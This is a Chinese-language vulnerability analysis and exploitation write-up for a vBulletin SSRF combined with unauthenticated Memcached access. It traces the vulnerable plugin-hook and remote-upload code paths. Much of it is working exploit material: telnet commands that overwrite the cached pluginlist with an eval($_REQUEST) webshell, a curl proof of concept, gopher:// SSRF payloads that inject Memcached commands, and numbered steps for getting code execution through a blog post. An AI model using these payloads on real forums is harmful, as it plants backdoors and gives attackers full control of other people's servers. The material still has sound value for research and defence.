作者:Ambulong(安恒安全研究院)
0x00 前言
fd上有人公开了vBulletin
的0day POC,但没有提供漏洞分析过程。vBulletin
是国外领先的论坛程序,国内一般称其为VBB
,基于PHP+mySQL
开发.vBulletin
是商业软件,需付费使用。
vBulletin
允许通过URL远程上传文件,但对URL并没有作严格的过滤,导致SSRF
漏洞的产生。加上许多vBulleti
n网站同时将vBulletin
的Memcached
与WEB服务器
安装在一起,结合SSRF
将导致漏洞变为命令执行。
0x01 漏洞分析
首先讲下vBulletin
的plugin(hook
)执行方式,vBulletin将plugin的信息(包括代码)存储在数据库,程序运行时临时从数据库读取代码执行,可以理解成将include 'pluginname.php'
变成eval(getCodeFromDB('pluginname'))
。在Memcache
开启的情况下,vBulletin
会将plugin
的代码缓存在Memcached
里来增加读取速度。
我们都知道访问Memcached
是不需要密码的,这样一来如果Memcached
的访问端口暴露在公网,我们就修改vBulletin
在Memcached
中的plugin
代码为恶意代码,这导致的后果将不堪设想。
vBulletin
官网上的建议是Memcached
不要和vBulletin
安装在同台服务器,但许多站长对此还是视而不见,或者仅通过将防火墙设置将Memcached
端口对外禁止访问就以为解决了问题。
不幸的是,vBulletin
中存在SSRF
漏洞,攻击者可以将存在漏洞的文件当作代理来向服务器上的Memcached
发起本地请求。
Memcached未授权访问
我们首先看下Memcached
的未授权访问是如何导致vBulletin
命令执行的。
通过关键字查找,发现语句vBulletinHook::set_pluginlist($vbulletin->pluginlist)
,找到set_pluginlist
的声明在文件./includes/class_hook.php
中,根据注释内容:
// to call a hook:
// require_once(DIR . '/includes/class_hook.php');
// ($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;
得知,plugin
的调用方式为($hook = vBulletinHook::fetch_hook('unique_hook_name')) ? eval($hook) : false;
,功能是获取plugin
的代码并执行。
我们选用出现频率较高的global_start
的代码,对应的语句是($hook = vBulletinHook::fetch_hook('global_start')) ? eval($hook) : false;
,这句话在./global.php
文件里,所以包含./global.php
的页面都将包含我们的恶意代码。
接下来访问Memcached
服务器看下pluginlist
项的数据
$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
get pluginlist
...(序列化后的数组)
END
quit
获取pluginlist
的数据将返回序列化后的pluginlist
数组。 相关代码在./includes/class_hook.php
类函数build_datastore
中。
$plugins = $dbobject->query_read("
SELECT plugin.*,
IF(product.productid IS NULL, 0, 1) AS foundproduct,
IF(plugin.product = 'vbulletin', 1, product.active) AS productactive
FROM " . TABLE_PREFIX . "plugin AS plugin
LEFT JOIN " . TABLE_PREFIX . "product AS product ON(product.productid = plugin.product)
WHERE plugin.active = 1
AND plugin." . "phpcode <> ''
ORDER BY plugin.executionorder ASC
");
while ($plugin = $dbobject->fetch_array($plugins))
{
if ($plugin['foundproduct'] AND !$plugin['productactive'])
{
continue;
}
else if (!empty($adminlocations["$plugin[hookname]"]))
{
$admincode["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
}
else
{
$code["$plugin[hookname]"] .= "$plugin[phpcode]\r\n";
}
}
$dbobject->free_result($plugins);
build_datastore('pluginlist', serialize($code), 1);
build_datastore('pluginlistadmin', serialize($admincode), 1);
通过代码可知$code
数组的格式为$code=array('hookname'=>'phpcode')
; 我们要修改Memcached
中的pluginlist
代码,我们也需要将我们的代码放到$code
数组内序列化后再写入Memcached
。
$code=array('global_start'=>'@eval($_REQUEST[\'eval\']);');
echo serialize($code)."\n".strlen(serialize($code));
输出:
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化后的数据
59 //字符串长度
接下来就是修改pluginlist
项的数据为我们的pluginlist
:
$ telnet 172.16.80.156 11211
Trying 172.16.80.156...
Connected to 172.16.80.156.
Escape character is '^]'.
set pluginlist 0 120 59
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";}
STORED
quit
命令修改了global_start
的代码,所以包含了./global.php
的页面都将含有我们的恶意代码。
这时访问http://172.16.80.156/showthread.php?eval=phpinfo();
发现我们的代码已经执行。
但是在大多数情况下,Memcached
是不允许外网访问,这时就需要用到下面的SSRF
。
SSRF(Server-side Request Forgery,服务器端请求伪造)
SSRF(Server-Side Request Forgery
:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
via:http://wiki.wooyun.org/web:ssrf
(注:测试前先删除上一步的pluginlist
,delete pluginlist
)vBulletin
的远程上传功能在vB_Upload_*
类和vB_vURL
类中都有使用到,我们以vB_Upload_Userpic
为例分析。 在文件./includes/class_upload.php
中类vB_Upload_Userpic
->类函数process_upload()
中调用了类函数accept_upload()
,之后accept_upload()
调用了fetch_remote_filesize()
,再来调用了vB_vURL
类,最后到vB_vURL_cURL
类中的exec()
函数,整个过程中传入的avatarurl
变量都未作任何过滤。
报告文档中的POC:http://seclists.org/fulldisclosure/2015/Aug/58
$ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2;
bb_password=926944640049f505370a38250f22ae57' --data
'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'
按报告来理解的话,Memcached
将执行:
HEAD /
set pluginlist 0 0 96
a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}
";}
quit
.png HTTP/1.0
Host: localhost
User-Agent: vBulletin via PHP
Connection: close
但是在本地测试时,上面的EXP并不能使用,经抓包分析,在我们测试时链接中的%0D%0A并未能转换成换行符。 测试代码: #!php $url = 'http://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST1);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit'; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, false); $str = curl_exec($curl); curl_close($curl); var_dump($str);
抓包结果:
最后多次测试和查阅参考资料发现,在gopher
协议下EXP
可以复现,但是vB_Upload_Userpic
只允许(http|ftp)s
开头的链接。
参考资料:https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit?pli=1
文中给出的Exploit:
gopher://localhost:11211/1%0astats%0aquit
dict://locahost:11211/stats
ldap://localhost:11211/%0astats%0aquit
然而将HTTP协议改为Gopher协议
$url = 'gopher://172.16.80.158:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit';
抓包结果:
可以看出,此时的%0D%0A转换成换行符了。 接下来,我们需要的是一个能带入gopher://
的SSRF
点,经过搜索对vB_vURL
的调用,位置在./blog_post.php
的donotify
内,函数send_ping_notification()
。
函数send_ping_notification()
的声明在./includes/blog_functions_post.php
,函数中调用的fetch_head_request()
调用了vB_vURL
类来发起请求,整个过程中$url变量未作过滤。 我们在前端可勾选发表博客中的附加选项通知在这篇文章中链接的其它博客
,来调用这个变量。
0x02 漏洞利用
- 注册用户并登录。
- 发表新文章(
http://*host*/blog_post.php?do=newblog
)。 - 加入超链接
gopher://localhost:11211/%0D%0Aset pluginlist 0 120 53%0D%0Aa:1:{s:12:"global_start";s:19:"eval($_REQUEST[1]);";}%0D%0A1%0D%0A1%0D%0A1%0D%0Aquit
。
- 在
附加选项
中勾选通知在这篇文章中链接的其它博客
。
-
发表->选择链接->提交。
-
访问
http://*host*/showthread.php?1=phpinfo();
查看是否执行成功。